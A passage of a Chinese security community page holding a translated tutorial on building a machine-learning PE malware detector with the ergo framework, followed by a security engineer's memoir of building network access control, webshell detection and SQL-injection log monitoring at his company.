norm_size = (max_size / min_vsize) if min_vsize > 0 else 0.0
return [ \
# code_sections_ratio
(len([s for s in sections if 'SECTION_CHARACTERISTICS.CNT_CODE' in s['characteristics']]) / num_sections) if num_sections else 0,
# pec_sections_ratio
(len([s for s in sections if 'SECTION_CHARACTERISTICS.MEM_EXECUTE' in s['characteristics']]) / num_sections) if num_sections else 0,
# sections_avg_entropy
((sum([s['entropy'] for s in sections]) / num_sections) / max_entropy) if max_entropy > 0 else 0.0,
# sections_vsize_avg_ratio
((sum([s['size'] / s['vsize'] for s in sections]) / num_sections) / norm_size) if norm_size > 0 else 0.0,
]
最后，我们将所有碎片粘合到一个大小的矢量中`486`：
v = np.concatenate([ \
encode_properties(pe),
encode_entrypoint(ep_bytes),
encode_histogram(raw),
encode_libraries(pe),
[ min(sz, pe.virtual_size) / max(sz, pe.virtual_size)],
encode_sections(pe)
])
return v
剩下要做的唯一事情是告诉我们的模型如何通过自定义先前由ergo创建的`prepare.py`文件中的`prepare_input`函数来编码输入样本——
以下实现支持给定其路径的文件的编码，给定其内容（作为文件上传到ergo API），或者只是对标量特征的原始向量进行评估：
# used by `ergo encode <path> <folder>` to encode a PE in a vector of scalar features
# used by `ergo serve <path>` to parse the input query before running the inference
def prepare_input(x, is_encoding = False):
# file upload
if isinstance(x, werkzeug.datastructures.FileStorage):
return encoder.encode_pe(x)
# file path
elif os.path.isfile(x) :
return encoder.encode_pe(x)
# raw vector
else:
return x.split(',')
现在我们有了将[这个](https://www.virustotal.com/gui/file/0830ea172eb905973e52c44f8a5ce44eccba53402ac81ddb4f4d612e8d069a25/detection)转换为以下所需的一切条件：
`0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.333333333333,0.545098039216,0.925490196078,0.41568627451,1.0,0.407843137255,0.596078431373,0.192156862745,0.250980392157,0.0,0.407843137255,0.188235294118,0.149019607843,0.250980392157,0.0,0.392156862745,0.63137254902,0.0,0.0,0.0,0.0,0.313725490196,0.392156862745,0.537254901961,0.145098039216,0.0,0.0,0.0,0.0,0.513725490196,0.925490196078,0.407843137255,0.325490196078,0.337254901961,0.341176470588,0.537254901961,0.396078431373,0.909803921569,0.2,0.858823529412,0.537254901961,0.364705882353,0.988235294118,0.41568627451,0.0078431372549,1.0,0.0823529411765,0.972549019608,0.188235294118,0.250980392157,0.0,0.349019607843,0.513725490196,0.0509803921569,0.0941176470588,0.270588235294,0.250980392157,0.0,1.0,0.513725490196,0.0509803921569,0.109803921569,0.270588235294,0.250980392157,0.870149739583,0.00198567708333,0.00146484375,0.000944010416667,0.000830078125,0.00048828125,0.000162760416667,0.000325520833333,0.000569661458333,0.000130208333333,0.000130208333333,8.13802083333e-05,0.000553385416667,0.000390625,0.000162760416667,0.00048828125,0.000895182291667,8.13802083333e-05,0.000179036458333,8.13802083333e-05,0.00048828125,0.001611328125,0.000162760416667,9.765625e-05,0.000472005208333,0.000146484375,3.25520833333e-05,8.13802083333e-05,0.000341796875,0.000130208333333,3.25520833333e-05,1.62760416667e-05,0.001171875,4.8828125e-05,0.000130208333333,1.62760416667e-05,0.00372721354167,0.000699869791667,6.51041666667e-05,8.13802083333e-05,0.000569661458333,0.0,0.000113932291667,0.000455729166667,0.000146484375,0.000211588541667,0.000358072916667,1.62760416667e-05,0.00208333333333,0.00087890625,0.000504557291667,0.000846354166667,0.000537109375,0.000439453125,0.000358072916667,0.000276692708333,0.000504557291667,0.000423177083333,0.000276692708333,3.25520833333e-05,0.000211588541667,0.000146484375,0.000130208333333,0.0001953125,0.00577799479167,0.00109049479167,0.000227864583333,0.000927734375,0.002294921875,0.000732421875,0.000341796875,0.000244140625,0.000276692708333,0.000211588541667,3.25520833333e-05,0.000146484375,0.00135091145833,0.000341796875,8.13802083333e-05,0.000358072916667,0.00193684895833,0.0009765625,0.0009765625,0.00123697916667,0.000699869791667,0.000260416666667,0.00078125,0.00048828125,0.000504557291667,0.000211588541667,0.000113932291667,0.000260416666667,0.000472005208333,0.00029296875,0.000472005208333,0.000927734375,0.000211588541667,0.00113932291667,0.0001953125,0.000732421875,0.00144856770833,0.00348307291667,0.000358072916667,0.000260416666667,0.00206705729167,0.001171875,0.001513671875,6.51041666667e-05,0.00157877604167,0.000504557291667,0.000927734375,0.00126953125,0.000667317708333,1.62760416667e-05,0.00198567708333,0.00109049479167,0.00255533854167,0.00126953125,0.00109049479167,0.000325520833333,0.000406901041667,0.000325520833333,8.13802083333e-05,3.25520833333e-05,0.000244140625,8.13802083333e-05,4.8828125e-05,0.0,0.000406901041667,0.000602213541667,3.25520833333e-05,0.00174153645833,0.000634765625,0.00068359375,0.000130208333333,0.000130208333333,0.000309244791667,0.00105794270833,0.000244140625,0.003662109375,0.000244140625,0.00245768229167,0.0,1.62760416667e-05,0.002490234375,3.25520833333e-05,1.62760416667e-05,9.765625e-05,0.000504557291667,0.000211588541667,1.62760416667e-05,4.8828125e-05,0.000179036458333,0.0,3.25520833333e-05,3.25520833333e-05,0.000211588541667,0.000162760416667,8.13802083333e-05,0.0,0.000260416666667,0.000260416666667,0.0,4.8828125e-05,0.000602213541667,0.000374348958333,3.25520833333e-05,0.0,9.765625e-05,0.0,0.000113932291667,0.000211588541667,0.000146484375,6.51041666667e-05,0.000667317708333,4.8828125e-05,0.000276692708333,4.8828125e-05,8.13802083333e-05,1.62760416667e-05,0.000227864583333,0.000276692708333,0.000146484375,3.25520833333e-05,0.000276692708333,0.000244140625,8.13802083333e-05,0.0001953125,0.000146484375,9.765625e-05,6.51041666667e-05,0.000358072916667,0.00113932291667,0.000504557291667,0.000504557291667,0.0005859375,0.000813802083333,4.8828125e-05,0.000162760416667,0.000764973958333,0.000244140625,0.000651041666667,0.000309244791667,0.0001953125,0.000667317708333,0.000162760416667,4.8828125e-05,0.0,0.000162760416667,0.000553385416667,1.62760416667e-05,0.000130208333333,0.000146484375,0.000179036458333,0.000276692708333,9.765625e-05,0.000406901041667,0.000162760416667,3.25520833333e-05,0.000211588541667,8.13802083333e-05,1.62760416667e-05,0.000130208333333,8.13802083333e-05,0.000276692708333,0.000504557291667,9.765625e-05,1.62760416667e-05,9.765625e-05,3.25520833333e-05,1.62760416667e-05,0.0,0.00138346354167,0.000732421875,6.51041666667e-05,0.000146484375,0.000341796875,3.25520833333e-05,4.8828125e-05,4.8828125e-05,0.000260416666667,3.25520833333e-05,0.00068359375,0.000960286458333,0.000227864583333,9.765625e-05,0.000244140625,0.000813802083333,0.000179036458333,0.000439453125,0.000341796875,0.000146484375,0.000504557291667,0.000504557291667,9.765625e-05,0.00760091145833,0.0,0.370786516854,0.0112359550562,0.168539325843,0.0,0.0,0.0337078651685,0.0,0.0,0.0,0.303370786517,0.0112359550562,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0561797752809,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0449438202247,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.25,0.25,0.588637653212,0.055703845605`
假设你有一个文件夹包含`pe-malicious`子文件夹中的恶意样本和`pe-legit`中的干净样本（随意给它们任何名称，但文件夹名称将成为与每个样本相关联的标签），你可以开始编码过程到一个`dataset.csv`文件，我们的模型可以使用该文件进行培训:
ergo encode /path/to/ergo-pe-av /path/to/dataset --output /path/to/dataset.csv
喝咖啡放松一下，这个过程可能需要一段时间:)，这取决于数据集的大小以及存储磁盘的速度。
# 向量的有用属性
虽然ergo正在编码我们的数据集，但让我们休息一下，讨论这些向量的有趣属性以及如何使用它。
现在很清楚，结构上或行为上相似的可执行文件将具有相似的向量，其中可以测量与一个向量和另一个向量的距离，例如，通过使用[余弦相似性](https://en.wikipedia.org/wiki/Cosine_similarity)，定义为：
除了其他方面，这个度量标准可用于从数据集中（我要提醒的是，这是一个庞大的文件集合，无论它们是否是恶意的，你并不真正了解其他文件）提取给定族的所有样本，给定一个已知的“轴”样本。例如，假设您有MIPS的Mirai样本，并且您希望从成千上万个不同的未标记样本的数据集中提取任何体系结构的每个Mirai变体。
我在[sum数据库中](https://github.com/evilsocket/sum)对诸如`findSimilar` _“oracle”_ （
_存储过程的_ 一个奇特名称）执行的算法非常简单：
// Given the vector with id="id", return a list of
// other vectors which cosine similarity to the reference
// one is greater or equal than the threshold.
// Results are given as a dictionary of :
// "vector_id => similarity"
function findSimilar(id, threshold) {
var v = records.Find(id);
if( v.IsNull() == true ) {
return ctx.Error("Vector " + id + " not found.");
}
var results = {};
records.AllBut(v).forEach(function(record){
var similarity = v.Cosine(record);
if( similarity >= threshold ) {
results[record.ID] = similarity
}
});
return results;
}
但相当有效:
# ANN作为黑匣子和训练
同时，我们的编码器应该已经完成了它的工作，并且生成包含从每个样本中提取的所有标记向量的`dataset.csv`文件，此时应该可以用于训练我们的模型......但是
_“训练我们的模型”_ 实际上意味着什么？这个 _“模型”_ 首先是什么？
我们使用的模型是一种称为[人工神经网络](https://en.wikipedia.org/wiki/Artificial_neural_network)的计算结构，我们使用[Adam优化算法](https://arxiv.org/abs/1412.6980v8)进行训练。在网上你会找到两者非常详细和正式的定义，但底线是：
ANN是一个“盒子”，包含数百个数值参数（“神经元” 的 _“权重”_ ，按层组织），它们与输入的（我们的向量）相乘并组合以产生输出 _预测_
。培训过程包括向系统提供数据集、根据已知标签检查预测、少量更改这些参数、观察这些变化是否以及如何影响模型准确性并重复此过程达给定次数（ _时期_
）直到整体性能达到我们定义的所需最小值。
[来自nature.com的致谢](https://www.evilsocket.net/2019/05/22/How-to-create-a-Malware-detection-system-with-Machine-Learning/\[https://www.nature.com/articles/s41467-018-06322-x\]\(https://www.nature.com/articles/s41467-018-06322-x))
主要假设我们未知的数据集中的数据点之间 _存在_
数值关联，但如果已知数据集，我们将可以把该数据集划分为输出类。我们要做的是要求黑盒子摄取数据集并通过迭代调整其内部参数使其近似于这样的函数。
在`model.py`文件中你可以找到ANN的定义，这是一个完整连接的网络，每个隐藏层有70个神经元，[ReLU](https://keras.io/activations/)作为激活函数，在训练期间[丢失](https://machinelearningmastery.com/dropout-regularization-deep-learning-models-keras/)30％：
n_inputs = 486
return Sequential([
Dense(70, input_shape=(n_inputs,), activation='relu'),
Dropout(0.3),
Dense(70, activation='relu'),
Dropout(0.3),
Dense(2, activation='softmax')
])
我们现在可以开始培训过程：
ergo train /path/to/ergo-pe-av --dataset /path/to/dataset.csv
根据CSV文件中向量的总量，此过程可能需要几分钟到几小时甚至几天。如果你的机器上有GPU，ergo会自动使用它们而不是CPU核心，以便显着加快训练速度（如果你感到困惑，请查看[这篇文章](https://www.datascience.com/blog/cpu-gpu-machine-learning)）。
完成后，你可以使用以下方法检查模型性能统计信息：
ergo view /path/to/ergo-pe-av
这将显示培训历史，我们可以验证模型的准确性是否确实随着时间的推移而增加（在我们的例子中，它在epoch30周围达到了97％的准确度）和[ROC曲线](https://towardsdatascience.com/understanding-auc-roc-curve-68b2303cc9c5)，它告诉我们模型如何有效地区分恶意与否（AUC，或者说曲线下的区域，为0.994，意味着模型非常好）：
此外，还将显示每个培训、验证和测试集的混淆矩阵。左上角的对角线值(深红色)代表正确预测的数量，而其他值(粉色)则是错误的(我们的模型在大约30000个样本的测试集中有1.4%的误报率):
考虑到我们的特征提取算法的简单性，这样一个大数据集的97％准确度是一个非常有趣的结果。许多错误检测都是由UPX（或者甚至只是自解压zip /
msi档案）这样的打包程序引起的，这些打包程序会影响我们正在编码的一些数据点 -添加解包策略（例如模拟解包存根直到真正的PE处于内存）和更多功能（更大的入口点矢量，动态分析跟踪被调用的API，想象力是极限！）是获得99％的关键:)
# 结论
我们现在可以删除临时文件：
ergo clean /path/to/ergo-pe-av
加载模型并将其用作API：
ergo serve /path/to/ergo-pe-av --classes "clean, malicious"
并要求客户端分类：
curl -F "x=@/path/to/file.exe" "http://localhost:8080/"
您将收到如下响应（[此处正在扫描的文件](https://www.virustotal.com/gui/file/af66d5db635537de043facf1580f9655fe441f03f82a7503272e32e3d8473af5/detection)）：
该模型将样本检测为恶意样本，置信度超过99％。
现在您可以使用该模型扫描您想要的任何内容，enjoy！:) | 社区文章 |
# 一个土鳖安全工程师的十年奋斗史
##### 译文声明
本文是翻译文章，文章来源：兜哥带你学安全
原文地址：<https://mp.weixin.qq.com/s/uZyRj5jmcVR18_O2saSihQ>
译文仅供参考，具体内容表达以及含义原文为准。
> 2008 年，我是看着《我的华为十年》这篇文章进入这家公司的，当时我的总监就是这篇文章的作者家骏。转眼云烟，第一份工作做到了现在。
## 菜鸟入职
我入职的时候，公司规模远没有现在这么大，北京地区的研发零星分散在中关村的几个写字楼，包括理想国际、普天大厦和银科大厦。
我是在普天大厦入职的，记得当时是 12 月份，第一次冬天来北京的我，领会到了啥叫冰火两重天。
在武汉是没有暖气的，屋外四度，屋里也是四度。北京是有暖气的，屋外零下十度，屋里起步价二十度。
公司里不少大姐大哥在公司里面穿的和夏天一样，出门套个大棉袄正合适。
我没经验，带着一身毛衣毛裤来的，结果在外面还是冻死，在公司里热死。
我大二的时候开始给华为三康做一些项目，在公司里面是不能上外网，而且都是又重又大的台式机。
入职的时候，行政小哥发给我个笔记本，我当时一激动就问了一句，这个回家加班可以用不？
行政小哥一脸懵逼，为啥不可以呀。
刚到北京的第一个月我是住在南二环的亲戚家，公司在拥挤的宇宙中心中关村，每天基本我就跟取经一样，天蒙蒙灰就出门，天漆漆黑回家。
## 第一个任务：防火墙双机上线
每一个自己觉得自己很牛逼的公司，都会有一个精心设计的新员工培训，有的像传销，有的像传教，有的讲情怀，有的忆苦思甜。我对新员工培训唯一的印象就是别在公司抽烟和养宠物，其他随便。可见当初一定有个在公司抽烟又养宠物的人把大佬惹毛了。虽然我不抽烟，但是我想养个小乌龟小金鱼，也只能放弃。
我的第一个任务是做 **防火墙双机上线** ，首先感谢组织信任，其次觉得专业好像有点不对口，我是个 rd
呀，虽然我懂点网络，不过也是写过交换机的软件而已。于是我硬着头皮看白皮书，看配置命令，幸好一起升级的还有经理黄姐和一个老员工永校，感觉自己打下手应该问题也不大。第一个任务总不能搞砸嘛，我还蛮认真的画了网络拓扑和配置回滚方案。其实仔细想想，双机以前不就是一个防火墙吗，现在就是再放一台上去呗。
为了不影响业务，我们选择在元旦凌晨上线。上线的过程确实非常顺利，简单描述，就是把新防火墙放上机架，插上电，配置灌进去，接线，搭完收工。十分钟不到搞定了，我都准备撤了。
老员工说，这才哪到哪呀，我们要验证可以自动切换。新防火墙和老防火墙之间有两根心跳线，汇聚层有大概 6
台汇聚层交换机，分别会连到两台防火墙上，要验证诸如心跳线段，上联线段的情况。另外国内众所周知的原因，分为南北网，联通电信互通很差劲，防火墙上联四根运营商的链路，还要测试这几根线路断的情况下的自动切换。于是乎，不停插拔网线，ping
新浪 ping 搜狐。测试完凌晨 4 点了，总算搞得差不多了。我记得我走出普天大厦的时候，居然看到了 2009 年的第一个日出了。
## 第一个项目：准入系统 BNAC
我的第一个项目是 **开发准入系统**
。所谓的准入系统，简单讲，就是上网认证，主机安全检查加上网络权限控制。满足一定安全基线要求的终端才允许接入公司办公网，并且根据不同的部门和职位，赋予不同的网络访问权限。
公司当时已经买了号称全球顶尖的准入系统，不过在易用性和可定制性上差强人意。另外一个原因，我们总监最初在华为就做了第一套准入系统，他对准入的理解非常深刻，从他的角度来看，目前这个国外的准入系统，有线无线不能自动切换，不能和微软的域管理集成，权限管理过于死板，最坑爹是对网络设备有要求，捆绑销售他们的防火墙。
这些在传统企业不是太大问题，但是在互联网公司就是硬伤了。于是我入职前基本就拍下来要自己研发准入系统。他老人家是理解深刻，我理解不深刻呀，从网上搜了个遍，还是一知半解。还好有个老安全工程师志刚领路，介绍了一些厂商进行交流，总算整明白咋回事了。于是开工干活，整个系统分为客户端，策略管理平台，测试管理服务器和防火墙。防火墙由系统部的一个大拿负责写网络控制模块，现在这哥们是我们公司
CDN、流量清洗这些基础设施的负责人。
客户端的主机检查模块由我们另外一个安全工程师负责，他现在也是 BAT 某公司的高 P 了。其他都是我弄的，第一次写网页还有点小兴奋，尤其是自己画
logo，尽显人文修养。我在学校用 delphi 写了系的教师考评系统，在那个年代 `dephi + sqlserver` 是绝配，access 也面对小
case 也是 ok 的，因此我们考核系统也是 cs 架构的。惯性思维，我的客户端也是用 delphi 写的。为了支持使用 linux 办公的同学，还开发了
linux 客户端。
网页完全是新接触，用了当时比较新的 groovy。这个时期我接触了大量新知识，这些开发语言还是其次，主要是认识了不少网络设备，接入层的从啥 hub
到二层交换机，三层交换机，还有啥无线 AP 和 AC。和部署实施比起来，开发这个阶段是多么美好的回忆，事实上我差不多 3
个月开发完了第一版，为了验证有效性，我们打算在部分办公区部署。于是我们开始杀熟，先在我们部门使用，我待人和气的好脾气也是这个阶段养成的。
我们把我们部门的办公区的接入交换机和汇聚层交换机之间传入了防火墙。所谓的防火墙其实就是台服务器，最早用的是 dell 的 2850。现在看起来 2850
的配置确实差的可怜，四核八G内存，六块七十三 G 的大硬盘，还齁沉齁沉的。我一个人搬它还很费劲，经常要和一个叫大肉的老员工一起搬。
由于当时交换机的机柜就在办公区，我们的防火墙也只能放办公区。别看 2850
配置不行，风扇确极其彪悍，一开机地动山摇，半层楼能听见。经常可以听到旁边部门骂，谁这么缺德把服务器放办公区，还让不让人上班生孩子啥的。
我们公司没有花名这一说，但是我处于怕人知道我真名骂我，我很早就用花名了。差不多那个时候开始叫麦兜了，至少名字这么可爱，大家骂的时候也有所估计，后来岁数大了开始叫兜哥了，这也是我网名的由来。
总被骂，确实也觉得对不起大家，所以一直到现在也待人客气。还好除了吵，基本没出现过断网的问题，偶尔出现过奇葩软件和客户端不兼容的情况，也很快解决了。在那个蠕虫病毒泛滥的年代，我们通过准入系统强制电脑安装杀毒、安装补丁、开启防火墙等等，简直就是功德无量，很多年都没有发生过大面积的病毒感染，一直服役到现在，差不多有
9 年了。我到现在还记得家俊在部门会上说某某厂做准入几百人，我们就搭进去个麦兜。
## 枪版网工生活
2009
年，全部门的重点就是建设新大厦，所谓的新大厦，就是现在我们叫的老大厦，就是西二旗旁边那个某大厦。当时网络工程师就三个人，大肉，秀英和永校，人手不够就把我也搭上了。我是革命一块砖，哪里需要新员工哪里搬。
这次真成网络工程师了。小时候觉得工程师很牛逼，工作后发现其实叫网工更合适，就和电工一样。好在安全工程师说起来还有点黑客帝国的感觉，即使简称安工，也感觉和同仁堂的救命神药安宫硫磺一样牛逼哄哄的。不过我们这几位网工可牛逼了，一个是
3com 和华为研发出身的，另外一个是 2008 奥运会的网络建设负责人之一，相比我就是渣渣了，而且还是业余渣渣。
给我的第一个任务是生成全部网络设备的配置，大概是 500 多台有线交换机，200 多台无线 ap 和交换机的配置。当时在奥运会的时候，他们是规划好 IP
地址后，通过一个 java 的程序手工配置参数后生成一个设备的配置，然后通过 securecrt + js 脚本 +
串口把配置文件灌入设备。有多少台设备就要手工配置多少次，不过这个已经比手工写配置文件牛逼很多了。
当时对我的预期是把思科设备的文件改成华为设备的。我对网络设备的配置完全是工作后学的，半桶水都不到，也是这个时期我学会了思科和华为设备的使用和配置方法。我看懂了原来的程序后，发现其实把网络规划体现到电子表格后，通过程序读取数据，可以一次性生成全部配置。而且这都是纯文本的活，用
perl 更合适。于是我重头开始写，差不多一周多业余时间完成了 demo，当时我还写准入在。
中间也出过不少问题，比如关键字写错了，思科的一些命令没改，有些参数写死了，最后又改了几次才能用，虽然被骂的也挺惨，不过最后对我评价是超出预期，大大节省了网工的工作量，唰唰唰
10 分钟可以生成全部配置。尤其是有次网工发现自己电子表格写错了，要是以前他需要一台一台配置去生成，但是我这边重新 run 一下就好了。
那段时间我还在陪大肉升级交换机 OS 和灌配置的过程中自学了 CCNA 和 CCNP，现在也很怀念和大肉在信威大厦里面灌配置的日子。那段时间玩命加班，几乎
3 个月没有咋过双休，最后竣工的时候居然有了 19 天调休。一直到现在，如果面有网路经验的安全工程师时，我总能扯好久，一直可以问傻别人，也是这段时间积累的。
## 内部安全建设黄金时代
这个时期是我们公司内部安全建设的黄金时代，很大一个原因是我们有了级别非常高的 CIO `John Gu`。John 长期在国外工作，一直做到几个巨型企业的
CIO。相对国内私企，国外企业对安全重视很多。和 John
不用太多介绍安全的重要性，而是想好怎样做好安全就可以了。为了有更好的视野，我们还挖来了埃森哲的架构师欧阳。大概有 2-3
年的时间，我们都有非常充足的预算的进行安全建设，我也开始带 team。这段时间我的工作才开始接近我理解的安全工程师和甲方安全。
这段时间我比较系统的建设了内部安全体系，从企业杀毒、终端补丁管理、DLP、邮件安全网关、IPS、漏洞扫描器、上网行为审计、APT 检测到终端安全加固、软
token、堡垒机、应用虚拟化、硬盘加密、文件加密等。那个时期，负责互联网公司的国外安全厂商的销售，应该大部分认识我。这段时间，是我安全知识面扩展非常快的一个时期。一直到现在，我跟许多解决方案架构师沟通很顺畅，也是得益于这个时期积累的知识。我后面可以承担
PGM 的工作，有相当一部分原因是我对安全产品需求的感觉，这种感觉的培养其实也来自于我这段经历。
## 云安全部成立
在很长一段时间，我们没有安全部，安全的职责分散在技术体系下不同部门的几个组里面。早期问题并不大，大家各司其职，但是当公司发展到一定程度后，对外的产品线日趋繁杂，内部的协同配合压力日趋变大。于是在某年某月的某一天，我们几个分散的小组合并成立一个新部门，曰云安全部。人员合并后按照每个人的技能重组团队，我负责基础架构安全的
team，曰 `isec`，职责范围包括内部网和生产网。我的核心 team 成员也是从那个时候一直和我到现在，现在想想也真不容易。
与内网相比，生产网有趣很多，安全工程师的压力也大很多。物理服务器的数量达到数万甚至数十万，虚拟机以及容器数量起步价也是百万级了，出口带宽几百 G
的机房遍布全球，涉及的产品线更是复杂到令人发指，只要想的到的业务几乎都有，想不到的没准也有。相对内部网，生产网攻击面大很多，毕竟这些业务是 7 乘 24
对数亿网名提供服务的。我们面对的最大挑战就是如何在业务不中断，不损失访问流量的情况下保障业务的安全。因此我们的重点一个是安全加固，一个是入侵检测，其中入侵检测是我很喜欢的一个领域。在国内，入侵检测经常被理解为
IDS/IPS 这样的安全设备。在以 web 浏览访问以及手机 app 访问为主要业务形式的互联网公司，入侵检测覆盖分范围非常广泛。
我首先遇到的一个问题其实不是技术上的，如何衡量我们所做的努力对公司安全状况的贡献。换句话来说，就是如何描述我们做的事的产出。在大多数公司，甲方安全都是地道的成本中心，纯成本消耗。如何证明安全团队的价值是非常重要的，即使是在一个超大型互联网公司。我观察到有些同学其实干的也很苦逼，情绪低落，总是抱怨。确实他负责很多小项目，每个事情看似很重要，但是确实也看不到啥产出，感觉做不做其实也一样。于是明显的恶性循环也产生了，一个事情没做成业绩，就继续做另外一个，结果下一个也没做出成绩，继续做下一个，手上一堆烂尾楼，还要抱怨辛苦没人看到。
在那个时候，某知名漏洞平台还在，上面报的漏洞公司层面还是非常重视的。于是我想到一个重要的衡量指标，就是安全事故的主动发现比例。比如拿到服务器的
webshell，SQL
注入点和敏感文件下载，这些都是影响大且容易量化的。如果能够通过我们开发的入侵检测系统，提高我们主动发现入侵事件的比例，这个贡献是非常容易体现的。我们在相当长的一段时间就是从各个维度想办法提高这些指标，其中印象深刻的就是
webdir 和 dbmon。
## webdir&dbmon
webdir 和 dbmon 是我们内部取的名字，简单讲 webdir 分析 web 服务器上的文件，及时发现后门文件，dbmon 分析数据库日志，及时发现
SQL 注入点以及拖库行为。通过这两个项目，我的 team
从一个安全技术团队开始向一个安全产品团队衍变，除了负责应急响应和渗透测试的的安全工程师，开始出现有安全背景的研发工程师以及负责 storm 和 hive
的大数据工程师，人数也开始两位数了。
webdir 在一期的时候，主要是依赖收集的样本提炼的文本规则，简单有效，在部署的初期发现了不少
case，部署的范围主要集中在重点产品线，量级在一万台左右。我们在二期的时候，重点工作是一方面提高检测能力，一方面是减少发现的延时，另外一个方面是全公司部署，这三方面都是为了提高
webshell 的主动发现比例。
在检测能力方面，主要是提高准确率和召回率，关于这两个指标的含义，有兴趣的同学可以看下我机器学习的书，里面用小龙虾和鱼来做了形象的比喻。基于文本特征的
webshell
检测，很难在这两个指标之间做平衡，尤其是我们这种超大规模的公司，即使是每天新增的文件也可能上亿，实验室环境看着还蛮不错的检测效果，误报也会被放大。因此大多数安全工程师的选择就是写极其精准的规则，所谓精准，就是根据搜集的样本写的过于严格苛刻的规则，用于大大降低误报。这导致的结果是，误报确实少了，但是漏报也非常严重。
我们仔细研究了下问题所在，主要是由于 php
语言的高度灵活性，一个很简单的功能可以用多种方式实现，还有不少装逼的语法。单纯在语言文本特征层面做非常吃力。通过调研，我们发现不管文本特征层面如何做绕过我们的检测，最后
webshell 还是要以 php 和 java 的语法来实现，如果我们可以实现 php 和 java 的语法，就可以在更底层提取特征，与黑产进行对抗。
这个思路也一直影响了我们后面的流量分析产品以及基于机器学习的 webshell
识别，不过这个是后话了。这个思路也成为我们二期的主要提升点，当时根据我们搜集的数千样本，挑选了专业的安全产品进行测试对比，我们的两个指标综合领先。我们另外的一个挑战是工程上的，我们仅在国内就有大量的机房，每个机房之间的带宽不尽相同，而且使用率也大不相同，即使是固定的两个机房，带宽使用也有明显的时间特征。
另外互联网公司大多把服务器的性能压榨的非常腻害，运维部门对我们的性能指标限制的非常死，甚至超过一定的 CPU 或者内存就会自动把我们进程挂起甚至
kill。为了尽可能降低服务器的性能消耗，我们使用云模式，负责的语法解析与规则匹配放到云端，服务器上仅需要完成非常简单的处理和上传逻辑。但是几十万个服务器如果因为上线新版本同时出现新文件需要检测，也可能会出现带宽的异常消耗，于是我们也使用了去中心化的部署方式。
一群只玩过单机版 syslog-ng
分析日志的土鳖，一下子可以有上百台服务器，还用上了大型消息队列和自研的沙箱集群，想想确实很有成就感。二期上线后，无论从部署范围还是检测能力上，都上了一个新台阶，并且由于检测技术上的创新以及客观的评测结果，这个项目获得了公司层面的创新奖。在这个项目上另外一个收获是开发服务器端的程序的经验，在一个如此大规模的集群上部署客户端，还要做到性能消耗小，考虑各种异常情况的处理，考虑各种兼容性问题，这些都是干过才能积累的。
dbmon 在一期的时候，依托于公司运维部的 DBA 团队的现有系统，离线分析公司部门产品线托管的 mysql
查询日志。检测的效果确实不理想，一堆暴力破解的报警，仔细一查都是密码过期了。检测的重点没有放到 SQL
这些上，而是更像针对数据库的异常访问检测了，这个其实从实践角度，安全人员很难去定位问题，小同学弄两次就烦了，所以效果一直很差，最后运维系统的同学根本不想看报警了。
二期的时候我们聚焦到 SQL 检测上，相对于 waf 和流量层面，SQL 日志层面做 SQL 注入点检测非常合适，因为在 http 协议层面可以有大量绕过
sql 注入检测的技巧，但是最终还是会落地到可以执行的 SQL 语句，在 SQL 日志层面会大大简化这方面的检测，相对于负责的 WAF 规则，SQL
日志层面上的检测是在黑客难以控制的更底层进行对抗。在这个阶段即使是文本特征的检测，在准确率和召回率上表现已经不错了。
上线效果非常好，同学们对这个也有了信心。集思广益，在三期的时候我们在 SQL
层面尝试了也使用语法而不仅仅是文本规则检测，不过这个是后话了。也是通过这个项目，我们团队熟悉了在 hadoop 和 storm
环境下的开发，值得一提的是，通过使用 storm 我们把检测延时大大缩小了，另外由于把 storm 性能压榨太腻害，我们在一次事故中发现了 storm
的一个深层 bug，storm 中关于这个 bug 的修复代码就是我们提交的。作为一个土鳖，我们很自豪可以把 storm 玩到这个地步。
另外一个收获是，为了在应急响应时查询日志方便，我们把常用的日志部署在 ELK 集群上。起先没有经验，每天大约数十 T
的日志部署在常见的机械硬盘上，运行起来非常慢，一个查询内存居然还爆了。后来在大数据部的大拿指导下，我们混合使用了固态硬盘和机械硬盘，启用单机多示例，优化内存和
java 配置等，搭建起了 50 台物理服务器的 ES 集群，每台机器上双实例，当时 github 也才维护了不到二十台 es
服务器。同样在实战中我们熟悉了 kafka、hadoop 的优化，这个让我的 team
也有了大数据处理使用经验，这也为后面我们完全转向安全产品团队打下了基础。这种通过更底层进行降维对抗的思想，也影响了我的安全观，后面我们开源的
openrasp 也是这一思路的另外一种体现。
## 土鳖 PGM
机缘巧合，又遇到一次方向调整，部门的重点是对外提供商业安全产品，为此我们还收购了一家公司，这个是对我影响比较大的一次调整。相对于办公网和生产网的安全，商业安全产品的收益更加容易量化，而且可以服务更多的用户，得到更多的一线反馈。以前在游泳池游的，现在可以在大海里游了。
这时我们已经有 WAF 和抗 D 产品了，以及渗透测试服务。现在需要做的是丰富产品线满足不同层次的需要。起先我想到的是把 webdir 和 dbmon
产品化，因为确实效果不错。但是和几个用户聊完后，不是很感冒。先说 webdir
吧，在我们公司内部部署啥都好说，毕竟我们够强势去做这个事情，运维的同学不管心里服不服，表面上还是认可我们的。但是在不少互联网公司，安全工程师没有那么强势，恰巧在服务器上安装安全软件，容易导致一些纠缠不清的问题。所谓纠缠不清只可意会不可言传。
另外，程序需要直接扫描 web 代码文件，这个又是个敏感问题。dbmon
